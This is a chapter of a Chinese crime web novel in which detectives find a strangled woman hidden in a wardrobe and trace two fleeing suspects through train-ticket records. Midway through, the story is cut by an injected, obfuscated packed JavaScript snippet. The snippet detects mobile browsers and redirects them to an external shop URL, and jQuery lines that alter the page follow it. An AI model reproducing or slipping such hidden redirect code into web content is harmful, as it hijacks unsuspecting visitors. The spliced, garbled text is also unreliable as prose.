老式的红砖居民楼一共六楼,没有电梯,上上下下全靠双腿。
寒风顺着空旷的楼梯间往上灌,吹得人脸颊生疼。
3号楼301室的阳台上,那件红色外套被风吹得一晃一晃的。
周队,陈无为还有两个从技术科紧急调过来的勘察员在站301紧闭的门前。
楼道里面很安静,听不见屋里面有任何的动静。
电视声,脚步声一概没有,只有风吹过楼道带来的呜咽。
“敲门。”周志民低声说。
陈无为上前敲门:“赵建国在家吗?我们是街道办事处的,年底了,来核对一下人口信息。”
陈无为尽量让自己的声音听起来可靠。
门内一片死寂,没有半点回应。
等了约莫半分钟,陈无为又敲了几遍:“有人在家吗?方秀英同志?”
还是没有任何回应,只有敲门声在空荡的楼道里面回荡着
“吱呀——”
对面302室的门被拉开一条缝隙,一个盯着一头乱发,睡眼惺忪的年轻女孩弹出半个脑袋。
她的身上裹着一件厚厚的棉袄,满脸都是被吵醒的不耐烦,还有一点儿好奇。
她好奇地看着门口几个穿着便装但是气质明显不同于普通人的陌生男人们,警惕地开口:“你们……找谁啊?”
周志民转过身,脸上尽量露出一个和缓的表情:“姑娘,我们是街道办的,来这边做人口普查,想问问你对面这户,就是赵建国家,最近几天有人进出吗?白天晚上都行。”
年轻的女孩揉了揉眼睛,打了个哈欠,努力回忆着:“对面啊……赵叔和方婶?我不太确定……方婶好几天没见着了。”
“以前她早上买菜,经常叫我一起去,我不太会挑,都是跟着方婶。但这几天都没见她出门……赵叔嘛,好像也见得少,他跑长途的,有时候好几天不见人也正常。”
“你确定方秀英好几天没出门了?”陈无为追问一句,语气不自觉的带上了一点儿职业性的锐利。
姑娘被问得一愣,她缩了缩脖子,声音小了点:”……额,警察叔叔,你要这么问,那我也不敢百分百确定,就是……感觉吧。”
“你看,方婶家阳台上那件红衣服,挂了好几天了,她不是那种会把衣服晾外面好几天不收的人,她特别勤快,家里收拾的可干净了,我还寻思着是不是方婶回娘家去了……”
“警察——叔叔?”陈无为指着自己,又看向不远处那个最多二十岁出头的姑娘,嘴角抽了抽。他也就二十六七,长得有那么着急的吗?
周志民心却是随着这姑娘的话一沉,好几天没见人,衣服晾了好几天不收……这绝不是一个勤快爱干净的人会做的。
换作别的时候,或许周志民还能用忘了或者回娘家什么的理由解释,但结合他们来之前,归安的聊天室里面那个残酷的汤面……
一个不祥的预感的攫住了他——人很可能已经没了,凶手可能也跑了!
“小陈,立刻联系开锁公司,要快!”周志民的语气带着一点儿紧迫感。
“是。”
十分钟后,一个穿着工装,提着工具箱的老师傅匆匆赶来,不到两分钟,门就被打开了。
铁门向外拉开,屋子里面一片漆黑,静得可怕。
陈无为伸手摸到了墙上的开关。
“啪”的一声按亮,昏黄的白炽灯光勉强照亮了玄关和客厅。
客厅不大,陈设简单,桌椅和沙发都十分规整的放着,地面也还算干净,
但几乎在门打开的同时,一股难以形容,混合着沉闷和隐隐腐败的异味直冲鼻腔。
因为是冬天,门窗紧闭,气味的发酵速度比夏天慢了不少,但在积累之下,浓度已经足够让任何一个推开门的瞬间捕捉。
那是一种——只有肉类或者尸体腐败到足够的程度才会产生的异味。
对门那个姑娘还在扒拉着门缝偷看,但在对面的门打开的一瞬间,那股气味涌出来的时候,她茫然地吸了口气。
而后下一秒,她的脸色刷的一下子白了下去,转身冲回了自己的家里面的卫生间里面。
“是那个味儿!”周志民脸色铁青。
几人连忙从技术科成员随身携带的箱子里面取出来口罩和橡胶手套和鞋套等装备,动作麻利地穿戴整齐。
浓烈的尸臭即便是隔着口罩,依旧还在顽固地往在场人鼻子里面钻。
“留一个人在外面守着,拉警戒线,不许任何人进出,保护好现场。”周志民命令道,自己率先踏进了屋内。
屋子内部看起来很正常,但那股无处不在的腐败的味道依旧存在。
尤其是几个人站在虚掩着的卧室门前的时候,那股味道就算带着口罩也都阻隔不了了。
陈无为走到卧室门口,轻轻推开了门,一眼就瞧见了屋子里面的那一张双人床和靠着墙摆放的那个老式的大衣柜。
柜体很大,双开门实木的,看着十分沉重。
陈无为走到衣柜前,柜门禁闭,但那股令人作呕的味道正是从柜门缝里面渗出来。
他看了眼周志民,周志民对着技术科的成员点了点头。
技术科的成员立刻上前,先是对着卧室整体和衣柜的外部进行了快速拍照。
做完这些,周志民才再次对陈无为再次摆手示意。
陈无为带上双层的手套,屏住呼吸额,伸手握住柜门把手,用力向外一拉——
一股更加浓烈的腐臭味扑面而来,熏得人胃里面反酸。
衣柜里面塞得慢慢当当的,上面胡乱堆着一些冬天的衣服,但衣服下面赫然塞着一床厚重的棉被,棉被鼓鼓囊囊地,像是盖着什么东西。
技术科的人拍摄了现场的照片。
陈无为这才和技术科的同事一起,小心翼翼地一点一点地将上面覆盖的衣物和那床棉被挪开。
棉被被掀开的瞬间,在场人动作一顿。
被子下面,方秀英蜷缩着身体,侧躺在衣柜底部。
她身上穿着家居的衣服,头发有些凌乱,脖颈上有一道触目惊心的勒痕。
那勒痕像一条绳索紧紧地嵌入皮肉。
她的脸因为死亡和腐败,已经呈现出一种不自然的青灰色。眼睛半睁着,空洞地望着衣柜顶板的方向,像是在看某个看不见的地方。
陈无为呼吸骤然一滞,下意识地后退了半步。
尽管早有心理准备,但亲眼看到这一幕,冲击力依然巨大。
周志民伸出手,按在陈无为的肩膀上,带着一股令人安心的稳定。
他没有看陈无为,目光依旧落在衣柜里的方秀英的身上。
他收回手,声音像淬了冰的刀:“通知法医老吴,让她立刻带人出现场。”
“是!”一个技术员应声道,他立刻快步退出去打电话。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352881|199628||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
周志民转向陈无为,语速加快但条理清晰:“现在就通知队里所有人,立刻追查赵建国和李兴言的行踪,查他们所有的通讯记录和银行流水,还有查这一栋楼和小区附近,交通主干所有能拿到的监控录像看看他朝着哪个方向跑了。”
“还有,让人调取最近几天全市及周边火车站、汽车战的购票记录和监控,看他到底跑去了哪里!和谁一起跑的,要快!”
“明白!”陈无为迅速从最初的冲击中恢复过来,立刻转身出去安排。
*
深夜,刑侦大队的会议室灯火通明,所有人都在连轴转,电话铃声,对讲机的呼叫和脚步声交织在一起。
每个人的脸上都写满了疲惫,但眼底里却也都压着一股火。
周志民带着另一队人马扑向李兴言的住处
情况不出所料,和赵建国家里如出一辙,房门紧锁,敲门无人应答。
找来房东和邻居一问,都说好几天没见着李兴言人了。
“都跑了……”周志民坐在会议室长桌的上首。
他身后的白板上的案件信息已经重新整理过。
正中间的位置是那个行李箱的照片,后来逐渐新增了钓鱼人张远案的照片。
此刻,又多了一张方秀英生前的证件照以及她蜷缩在衣柜里面的现场照片。
几张照片用红笔连在一起,箭头指向李兴言和赵建国两个名字。
“监控录像和购票记录的传真,都传过来了吗?”周志民抬眼看向负责联络的小李。
“火车站和长途汽车站的购票记录宋姐已经整理好了。”小李拿起一叠还带着机器热度的传真纸,“监控录像那边,陈哥带人亲自去拷贝了,应该快回来了。”
“怎么说?”所有人的目光瞬间聚焦向宋默。
宋默将传真文件复印后分给周志民和其他人,语速清晰快速地汇报:“根据铁律系统的传真显示,赵建国使用本人的身份证,在11月17日下午在江北市火车站的售票窗口,购买了一张前往羊城的火车票。”
“这张车票上显示的发车时间是11月18日上午10:00,这一趟列车预计到达终点站时间为11月20日9:00左右。”
她顿了顿,抽出另一张纸:“李兴言的购票记录也查到了,同样在11月17日下午,在同一个售票窗口,购买了和赵建国同一车次,同一天,甚至相邻座位号的硬座车票。”
“两人购票时间间隔不到五分钟,基本可以断定是同行。”
“砰!”一个年轻气盛的刑警忍不住一拳砸在桌子上,脸色铁青,“这两个挨千刀的畜生!杀人分尸,还杀了自己老婆,居然就这么大摇大摆地坐火车跑了?!”
宋默白了那刑警一眼,语气冷静地分析道:“凶手是11月11日晚上行凶抛尸,咱们11月17日下午才在河边发现行李箱,20号凌晨的时候才拿到钥匙并关联了张远的案子。”
“今天晚上,我们才通过那个直播间才找到方秀英的尸体,中间隔了这么多天,凶手有充足的时间准备和逃跑。他们是人,不是傻子,不跑难道等着被抓吗?”
会议室里面越来越压抑,宋默说的没错,虽然憋屈,但这就是现实。
周志民手指有一搭没一搭地敲着桌子:“李兴言邻居那边的询问记录整理出来了吗?”
小李立刻将一沓询问笔录的复印件分发下去:“整理出来了。”